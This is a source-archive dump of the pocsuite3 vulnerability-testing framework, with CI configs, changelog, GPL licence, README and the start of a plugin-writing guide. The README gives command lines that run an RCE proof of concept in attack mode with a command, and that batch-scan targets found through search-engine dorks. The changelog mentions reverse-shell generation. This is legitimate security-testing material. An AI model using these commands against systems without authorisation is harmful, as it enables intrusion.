pax_global_header00006660000000000000000000000064141671270040014514gustar00rootroot0000000000000052 comment=f96ed12c2323a597be49b611322e873a78fedad3 pocsuite3-1.8.10/000077500000000000000000000000001416712700400135215ustar00rootroot00000000000000pocsuite3-1.8.10/.coveragerc000066400000000000000000000005371416712700400156470ustar00rootroot00000000000000[run] include = pocsuite3/* omit = *migrations* *tests* venv/* [report] include = pocsuite3/* omit = *migrations* *tests* venv/* exclude_lines = pragma: no cover def __repr__ def __str__ if self.debug: if settings.DEBUG raise AssertionError raise NotImplementedError if __name__ == .__main__.: pocsuite3-1.8.10/.github/000077500000000000000000000000001416712700400150615ustar00rootroot00000000000000pocsuite3-1.8.10/.github/workflows/000077500000000000000000000000001416712700400171165ustar00rootroot00000000000000pocsuite3-1.8.10/.github/workflows/lint.yml000066400000000000000000000023201416712700400206040ustar00rootroot00000000000000name: Lint on: [pull_request] jobs: lint: strategy: matrix: python-version: ['3.10'] os: [ubuntu-latest] runs-on: ${{ matrix.os }} timeout-minutes: 30 steps: - uses: actions/checkout@v2 - name: Cache for pip uses: actions/cache@v1 id: cache-pip with: path: ~/.cache/pip key: ${{ matrix.os }}-cache-pip - name: Set up Python ${{ matrix.python-version }} uses: actions/setup-python@v1 with: python-version: ${{ matrix.python-version }} - name: Critical lint run: | pip install flake8 # https://michaelcurrin.github.io/dev-cheatsheets/cheatsheets/python/linting/flake8.html flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics - name: Style lint run: | flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --ignore=C901,W503,W504 --statistics > current.txt git fetch origin git checkout origin/"$GITHUB_BASE_REF" flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --ignore=C901,W503,W504 --statistics > base.txt if diff base.txt current.txt | grep "^> ./"; then false fi pocsuite3-1.8.10/.github/workflows/pylint.yml000066400000000000000000000020331416712700400211560ustar00rootroot00000000000000name: PyLint on: [pull_request] jobs: pylint: strategy: matrix: python-version: ['3.10'] os: [ubuntu-latest] runs-on: ${{ matrix.os }} timeout-minutes: 30 steps: - uses: actions/checkout@v2 - name: Cache for pip uses: actions/cache@v1 id: cache-pip with: path: ~/.cache/pip key: ${{ matrix.os }}-cache-pip - name: Set up Python ${{ matrix.python-version }} uses: actions/setup-python@v1 with: python-version: ${{ matrix.python-version }} - name: PyLint run: | set -x pip install pylint pip install --upgrade -r requirements.txt # TODO: donot ignore serialization.py pylint --exit-zero --errors-only --ignore=serialization.py pocsuite3 > current.txt git fetch origin git checkout origin/"$GITHUB_BASE_REF" pylint --exit-zero --errors-only --ignore=serialization.py pocsuite3 > base.txt if diff base.txt current.txt | grep "^> "; then false fi pocsuite3-1.8.10/.github/workflows/pypi.yml000066400000000000000000000012441416712700400206230ustar00rootroot00000000000000name: Upload Python Package on: # workflow_dispatch create: tags: - v* jobs: deploy: runs-on: ubuntu-latest steps: - uses: actions/checkout@v2 - name: Set up Python uses: actions/setup-python@v2 with: python-version: '3.x' - name: Install dependencies run: | python -m pip install --upgrade pip pip install setuptools wheel twine pip install -r requirements.txt - name: Build and publish env: TWINE_USERNAME: ${{ secrets.PYPI_USERNAME }} TWINE_PASSWORD: ${{ secrets.PYPI_PASSWORD }} run: | python setup.py sdist bdist_wheel twine upload dist/*pocsuite3-1.8.10/.github/workflows/test.yml000066400000000000000000000013401416712700400206160ustar00rootroot00000000000000name: Test on: [pull_request] jobs: test: strategy: matrix: python-version: [3.7, '3.10'] os: [ubuntu-latest, macos-latest, windows-latest] runs-on: ${{ matrix.os }} timeout-minutes: 30 steps: - uses: actions/checkout@v2 - name: Cache for pip uses: actions/cache@v1 id: cache-pip with: path: ~/.cache/pip key: ${{ matrix.os }}-cache-pip - name: Set up Python ${{ matrix.python-version }} uses: actions/setup-python@v1 with: python-version: ${{ matrix.python-version }} - name: Install dependencies & Test run: | pip install --upgrade -r requirements.txt python setup.py install python test.py pocsuite3-1.8.10/.gitignore000066400000000000000000000014571416712700400155200ustar00rootroot00000000000000### OSX ### .DS_Store .AppleDouble .LSOverride ### SublimeText ### # cache files for sublime text *.tmlanguage.cache *.tmPreferences.cache *.stTheme.cache # workspace files are user-specific *.sublime-workspace # project files should be checked into the repository, unless a significant # proportion of contributors will probably not be using SublimeText # *.sublime-project # sftp configuration file sftp-config.json # Basics *.py[cod] __pycache__ # Logs logs *.log pip-log.txt npm-debug.log* # Unit test / coverage reports .coverage .tox nosetests.xml htmlcov # Translations *.mo *.pot # Pycharm .idea/ # Vim *~ *.swp *.swo # npm node_modules/ # Compass .sass-cache # virtual environments env/ .env venv36/ venv/ build/ dist/ *.egg-info .eggs/ pocsuite.ini pocsuite3/pocs/ pocsuite3/data/cacert.pem pocsuite3-1.8.10/CHANGELOG.md000066400000000000000000000146651416712700400153460ustar00rootroot00000000000000# version 1.0 --------------- * Init publish # version 1.2.1 --------------- * bugfix auto update error * bugfix console mode load poc error * update pocsuite3 banner # version 1.2.2 --------------- * bugfix site-packages poc-console issue * poc-console support to load absolute path * poc-console will ignore case when use `search` # version 1.2.5 --------------- * bugfix socks proxy # version 1.2.6 --------------- * bugfix seebug poc # version 1.2.7 --------------- * bugfix hook_requests # version 1.2.8 --------------- * support ceye token * bugfix plugin from seebug * refactoring ceye # version 1.2.9 --------------- * seebug poc friendly load reminder * new feature:displayed results after user interruption * POC specifies third-party module verification failure * customize option iter func * Built-in http server # version 1.2.10 --------------- * bugfix interpreter_option OptDict # version 1.3.0 --------------- * new feature: `_verify` `_attack` function can directly return bool, str, dict, etc. * new plugin: file report * bugfix get_option() not support int # version 1.3.1 --------------- * add confluence poc * fix pocs/drupalgeddon2 * CYGWIN compatibility * bugfix revision.py `stdout_encode` # version 1.3.2 --------------- * bugfix poc thinkphp_rce # version 1.3.3 --------------- fix #37 pocsuite3\lib\core\revision.py # version 1.3.4 --------------- Cross-platform shell code generation # version 1.3.5 --------------- * Add parameter `-c` for load configuration from the configuration file * Add parameter `--comparsion` for comparing comparing both of zoomeye and shodan * Interface supports from zoomeye,shodan and censys # version 1.3.6 --------------- * Bugfix parameter `version` # version 1.3.7 --------------- * add poc-plugin to load poc from `pocs` directories. # version 1.3.8 --------------- * add field,option for compatibility with zipoc # version 1.3.9 --------------- * 修复plugins选项加载绝对路径问题 * 修复加载pocs目录扫描部分报错问题 * PoC插件`add_poc`方法新增`fullname`参数用于定义加载poc名称 * 定义api模式方便shell集成 # version 1.4.0 --------------- * 在命令行下url和poc支持多个(空格分隔) * 更换`optparse`到`argparse` # version 1.4.1 --------------- * 修复由poc插件中由conf.poc引起的错误 # version 1.4.2 --------------- * 修复console模式下一处bug,https://github.com/knownsec/pocsuite3/pull/61 # version 1.4.3 --------------- * 加入PPT模式(用于演示,敏感信息将打上*) # version 1.4.5 --------------- * update usage.md # version 1.4.6 --------------- * 修复`-v`出现的问题 * 修复加载多个poc可能出现的问题 # version 1.4.7 --------------- * 修复console模式下回连shell循环的异常 # version 1.4.8 --------------- * console模式下设置ip可以选择序号 `show ip` `set lhost 0` * bugfix for ceye dns api # version 1.4.9 --------------- * 修复requirement检测一处bug * 修复reverse 一处异常 # version 1.5.0 --------------- * 修复timeout一处异常 * pocsuite3.api 添加 `random_str` * 优化update function # version 1.5.1 --------------- * 修复插件调用poc失败的问题 # version 1.5.2 --------------- * typo fix #84 * bugfix 自定义cookie产生的异常情况 * bugfix 引入pocsuite3后再次引入requests导致的报错 # version 1.5.3 --------------- * socket代理增加变量保存原始socket信息,方便使用后恢复(`conf.origin_socks`) * 修复requests代理指定为None时的逻辑问题 # version 1.5.4 --------------- * 加入获取PoC信息的API * 更新测试用例 # version 1.5.5 --------------- * fix #87 # version 1.5.6 --------------- * 修复多线程卡住问题 * 修复seebug api问题 * 修复socks5代理问题 # version 1.5.7 --------------- * 取消pyreadline报错提示 * 修改日志拼写错误 # version 1.5.8 --------------- * 修复shadon api问题 * 加入fofa api接口 # version 1.5.9 --------------- * 增加了poc类型的枚举类型 #95 * 修改了样例poc # version 1.6.0~1.6.3 --------------- * 添加随机UA头选项 * 重构--ppt隐藏信息选项 * 当poc有语法错误时,显示详细信息 * 添加InMemoryWar * 修复urllib3的`chunk_length`错误 * 加入打tag自动构建发布到pypi # version 1.6.4 ---------------- * 测试Github Action自动发布pypi # version 1.6.5 ---------------- * 修复http请求头不能删除 * 修复html导出编码错误 * 修复console模式下lport设置失败 * shell模式可以使用select或use选择shell # version 1.7.0 ----------------- * 修复`Python 3.9`兼容性问题 * console模式,添加系统命令执行,添加pocuite3命令clear清除屏幕 # version 1.7.2 ----------------- * 增加powershell bash反弹shell 以及编码函数 # version 1.7.4 ----------------- * 修复批量执行poc时因为报错导致扫描中断问题 fixes #149 * 修复--pocs-path参数bug # version 1.7.5 ----------------- * 添加录包功能和dork字段支持base64编码 fixes #169 #173 * 修复target插件requests参数无效bug fix #183 # version 1.7.6 ----------------- * fixes #192 # version 1.7.7 ----------------- * 添加--dork自动用poc中的dork字段扫描功能 * 适配Debian源格式需求 # version 1.7.8 ----------------- * add option to display extra parameters of poc * add more poc attribute to result dict * allow custom module path in console mode * fix some compatibility problems # version 1.8.0 ----------------- * fix the timeout problem in shell mode leads to confusing results * made some improvements with network address related issues # version 1.8.1 ----------------- * fix check_requires() can not handle dependent version correctly #208 * update docs # version 1.8.2 ----------------- * fix finding a python module version gives error # version 1.8.3 ----------------- * some improvements related to dependent # version 1.8.4 ----------------- * update docs * fix typo # version 1.8.5 ----------------- * support bind shell in shell mode * fix #221 # version 1.8.6 ----------------- * support encrypted shell (TLS) in shell mode * fix #228 # version 1.8.7 ----------------- * fix bug * optimize code style & docs * delete the exe tool for compatibility with dfsg # version 1.8.8 ----------------- * rewrite multi module * integrate with interactsh * support filter poc by keyword # version 1.8.9 ----------------- * fix user-agent bug #252 # version 1.8.10 ----------------- * fix #254 * fix urlparse fails with simple url * use pycryptodomex instead of pycryptodome, fix #255 pocsuite3-1.8.10/CONTRIBUTORS.md000066400000000000000000000022111416712700400157740ustar00rootroot00000000000000hysia * for contributing core code badcode * for contributing core code cc * for contributing core code w7ay * for contributing core code phithon * for suggesting a couple of features longofo * for contributing http server module Ro0tk1t * for contributing multi-ip multi-poc execution features * fix some issues hawoosec * for reporting a bug * for contributing a minor patch * bugfix invalid client * for contributing `set lhost index` Explorer1092 * update usage.md gsfish * good first issue #85 * repair the custom cookie anomalies Becivells * bugfix shodan api * for contributing fofa api * for contributing random user-agent switch * bugfix #187 hex0wn * bugfix #139 MrMetatron * console模式,添加系统命令执行,添加pocsuite3命令clear清除屏幕功能 z3r0yu * Add quake dork for pocsuite3 pocsuite3-1.8.10/COPYING000066400000000000000000000372351416712700400145660ustar00rootroot00000000000000COPYING -- Describes the terms under which pocsuite is distributed. A copy of the GNU General Public License (GPL) is appended to this file. pocsuite3 is (C) 2014-2021 404-team@knownsec.com This program is free software; you may redistribute and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; Version 2 with the clarifications and exceptions described below. This guarantees your right to use, modify, and redistribute this software under certain conditions. If you wish to embed pocsuite technology into proprietary software, we sell alternative licenses (contact pocsuite@seebug.org). **************************************************************************** GNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Lesser General Public License instead.) You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying, distribution and modification follow. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. 4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS **************************************************************************** pocsuite3-1.8.10/MANIFEST.in000066400000000000000000000003151416712700400152560ustar00rootroot00000000000000include MANIFEST.in include LICENSE include README.md include CHANGELOG.md include CONTRIBUTORS.md recursive-include pocsuite3 * recursive-exclude pocsuite3 __pycache__ recursive-exclude pocsuite3 *.py[co]pocsuite3-1.8.10/README.md000066400000000000000000000127541416712700400150110ustar00rootroot00000000000000# pocsuite3 [![Python 3.x](https://img.shields.io/badge/python-3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/knownsec/Pocsuite/master/docs/COPYING) [![Twitter](https://img.shields.io/badge/twitter-@seebug-blue.svg)](https://twitter.com/seebug_team) [![build](https://api.travis-ci.org/knownsec/pocsuite3.svg)](https://travis-ci.org/knownsec/pocsuite3) ## Legal Disclaimer Usage of pocsuite3 for attacking targets without prior mutual consent is illegal. pocsuite3 is for security testing purposes only ## 法律免责声明 未经事先双方同意,使用 pocsuite3 攻击目标是非法的。 pocsuite3 仅用于安全测试目的 ## Overview pocsuite3 is an open-sourced remote vulnerability testing and proof-of-concept development framework developed by the [**Knownsec 404 Team**](http://www.knownsec.com/). It comes with a powerful proof-of-concept engine, many nice features for the ultimate penetration testers and security researchers. ## Features * PoC scripts can running with `verify`, `attack`, `shell` mode in different way * Plugin ecosystem * Dynamic loading PoC script from any where (local file, redis, database, Seebug ...) * Load multi-target from any where (CIDR, local file, redis, database, Zoomeye, Shodan ...) * Results can be easily exported * Dynamic patch and hook requests * Both command line tool and python package import to use * IPV6 support * Global HTTP/HTTPS/SOCKS proxy support * Simple spider API for PoC script to use * Integrate with [Seebug](https://www.seebug.org) (for load PoC from Seebug website) * Integrate with [ZoomEye](https://www.zoomeye.org) (for load target from ZoomEye `Dork`) * Integrate with [Shodan](https://www.shodan.io) (for load target from Shodan `Dork`) * Integrate with [Ceye](http://ceye.io/) (for verify blind DNS and HTTP request) * Integrate with [Interactsh](https://github.com/projectdiscovery/interactsh) (for verify blind DNS and HTTP request) * Integrate with Fofa (for load target from Fofa `Dork`) * Friendly debug PoC scripts with IDEs * More ... ## Screenshots ### pocsuite3 console mode [![asciicast](https://asciinema.org/a/219356.png)](https://asciinema.org/a/219356) ### pocsuite3 shell mode [![asciicast](https://asciinema.org/a/203101.png)](https://asciinema.org/a/203101) ### pocsuite3 load PoC from Seebug [![asciicast](https://asciinema.org/a/207350.png)](https://asciinema.org/a/207350) ### pocsuite3 load multi-target from ZoomEye [![asciicast](https://asciinema.org/a/133344.png)](https://asciinema.org/a/133344) ### pocsuite3 load multi-target from Shodan [![asciicast](https://asciinema.org/a/207349.png)](https://asciinema.org/a/207349) ## Requirements - Python 3.6+ - Works on Linux, Windows, Mac OSX, BSD, etc. ## Installation Paste at a terminal prompt: ### Python pip ``` bash pip3 install pocsuite3 # use other pypi mirror pip3 install -i https://pypi.tuna.tsinghua.edu.cn/simple pocsuite3 ``` ### MacOS ``` bash brew update brew info pocsuite3 brew install pocsuite3 ``` ### [Debian](https://tracker.debian.org/pkg/pocsuite3), [Ubuntu](https://launchpad.net/ubuntu/+source/pocsuite3), [Kali](http://pkg.kali.org/pkg/pocsuite3) ``` bash sudo apt update sudo apt install pocsuite3 ``` ### ArchLinux ``` bash yay pocsuite3 ``` ### Or click [here](https://github.com/knownsec/pocsuite3/archive/master.zip) to download the latest source zip package and extract ``` bash $ wget https://github.com/knownsec/pocsuite3/archive/master.zip $ unzip master.zip $ cd pocsuite3-master $ pip3 install -r requirements.txt $ python3 setup.py install ``` The latest version of this software is available at: https://pocsuite.org ## Documentation Documentation is available in the [```docs```](./docs) directory. ## Usage ``` cli mode # basic usage, use -v to set the log level pocsuite -u http://example.com -r example.py -v 2 # run poc with shell mode pocsuite -u http://example.com -r example.py -v 2 --shell # search for the target of redis service from ZoomEye and perform batch detection of vulnerabilities. The thread is set to 20 pocsuite -r redis.py --dork service:redis --threads 20 # load all poc in the poc directory and save the result as html pocsuite -u http://example.com --plugins poc_from_pocs,html_report # load the target from the file, and use the poc under the poc directory to scan pocsuite -f batch.txt --plugins poc_from_pocs,html_report # load CIDR target pocsuite -u 10.0.0.0/24 -r example.py --plugins target_from_cidr # the custom parameters `command` is implemented in ecshop poc, which can be set from command line options pocsuite -u http://example.com -r ecshop_rce.py --attack --command "whoami" console mode poc-console ``` ## How to Contribute 1. Check for open issues or open a fresh issue to start a discussion around a feature idea or a bug. 2. Fork [the repository](https://github.com/knownsec/pocsuite3) on GitHub to start making your changes to the **dev** branch (or branch off of it). 3. Write a test which shows that the bug was fixed or that the feature works as expected. 4. Send a pull request and bug the maintainer until it gets merged and published. Make sure to add yourself to [THANKS](./docs/THANKS.md). ## Links * [Contributors](./CONTRIBUTORS.md) * [Change Log](./CHANGELOG.md) * [Bug tracking](https://github.com/knownsec/pocsuite3/issues) * [Copyright](./COPYING) * [Pocsuite](https://pocsuite.org) * [Seebug](https://www.seebug.org) * [ZoomEye](https://www.zoomeye.org) * [Knownsec](https://www.knownsec.com) pocsuite3-1.8.10/docs/000077500000000000000000000000001416712700400144515ustar00rootroot00000000000000pocsuite3-1.8.10/docs/CODING.md000066400000000000000000001162221416712700400157420ustar00rootroot00000000000000Pocsuite3 开发文档及 PoC 编写规范及要求说明 --- * [概述](#overview) * [插件编写规范](#write_plugin) * [TARGETS 类型插件](#plugin_targets) * [POCS 类型插件](#plugin_pocs) * [RESULTS 类型插件](#plugin_results) * [PoC 编写规范](#write_poc) * [PoC python 脚本编写步骤](#pocpy) * [可自定义参数的 PoC](#可自定义参数的插件) * [PoC 编写注意事项](#attention) * [Pocsuite3 远程调用文件列表](#inclue_files) * [通用API列表](#common_api) * [通用方法](#api_common) * [参数调用](#api_params) * [PoC 代码示例](#PoCexample) * [PoC Python 代码示例](#pyexample) * [Pocsuite3 集成调用](#pocsuite_import) * [PoC 规范说明](#PoCstandard) * [PoC 编号说明](#idstandard) * [PoC 命名规范](#namedstandard) * [PoC 第三方模块依赖说明](#requires) * [PoC 结果返回规范](#resultstandard) * [extra 字段说明](#result_extara) * [通用字段说明](#result_common) * [漏洞类型规范](#vulcategory) ### 概述
本文档为 Pocsuite3 插件及 PoC 脚本编写规范及要求说明,包含了插件、PoC 脚本编写的步骤以及相关 API 的一些说明。一个优秀的 PoC 离不开反复的调试、测试,在阅读本文档前,请先阅读 [《Pocsuite3 使用文档》](./USAGE.md)。或参考 https://paper.seebug.org/904/ 查看 Pocsuite3 的一些新特性。 ### 插件编写规范
Pocsuite3 共有三种类型的插件,定义在 `pocsuite3.lib.core.enums.PLUGIN_TYPE` 中。 #### TARGETS 类型插件
TARGETS 类型插件用来自定义在系统初始化时候加载检测目标的功能,例如从 redis 或数据库加载 targets ```python from pocsuite3.api import PluginBase from pocsuite3.api import PLUGIN_TYPE from pocsuite3.api import logger from pocsuite3.api import register_plugin class TargetPluginDemo(PluginBase): category = PLUGIN_TYPE.TARGETS def init(self): targets = ['www.a.com', 'www.b.com'] # load from redis, database ... count = 0 for target in targets: if self.add_target(target): count += 1 info_msg = "[PLUGIN] get {0} target(s) from demo".format(count) logger.info(info_msg) register_plugin(TargetPluginDemo) ``` #### POCS 类型插件
POCS 类型插件用来自定义在系统初始化时候加载 PoC 脚本的功能,例如从 redis 或数据库加载 PoC 脚本代码 ```python from pocsuite3.api import PluginBase from pocsuite3.api import PLUGIN_TYPE from pocsuite3.api import logger from pocsuite3.api import register_plugin class TargetPluginDemo(PluginBase): category = PLUGIN_TYPE.POCS def init(self): pocs = [POC_CODE_1, POC_CODE_2] # load PoC code from redis, database ... count = 0 for poc in pocs: if poc and self.add_poc(poc): count += 1 info_msg = "[PLUGIN] get {0} poc(s) from demo".format(count) logger.info(info_msg) register_plugin(TargetPluginDemo) ``` #### RESULTS 类型插件
RESULTS 类型插件用来自定义检测结果的导出,例如导出 html 报表等 ```python from pocsuite3.api import PluginBase from pocsuite3.api import PLUGIN_TYPE from pocsuite3.api import logger from pocsuite3.api import get_results from pocsuite3.api import register_plugin class HtmlReport(PluginBase): category = PLUGIN_TYPE.RESULTS def init(self): debug_msg = "[PLUGIN] html_report plugin init..." logger.debug(debug_msg) def start(self): # TODO # Generate html report for result in get_results(): pass info_msg = '[PLUGIN] generate html report done.' logger.info(info_msg) register_plugin(HtmlReport) ``` 若需要实时的保存结果,需要申明 `handle` 来处理,可参考 https://github.com/knownsec/pocsuite3/blob/master/pocsuite3/plugins/file_record.py 的写法。 ### PoC 编写规范
#### PoC python 脚本编写步骤
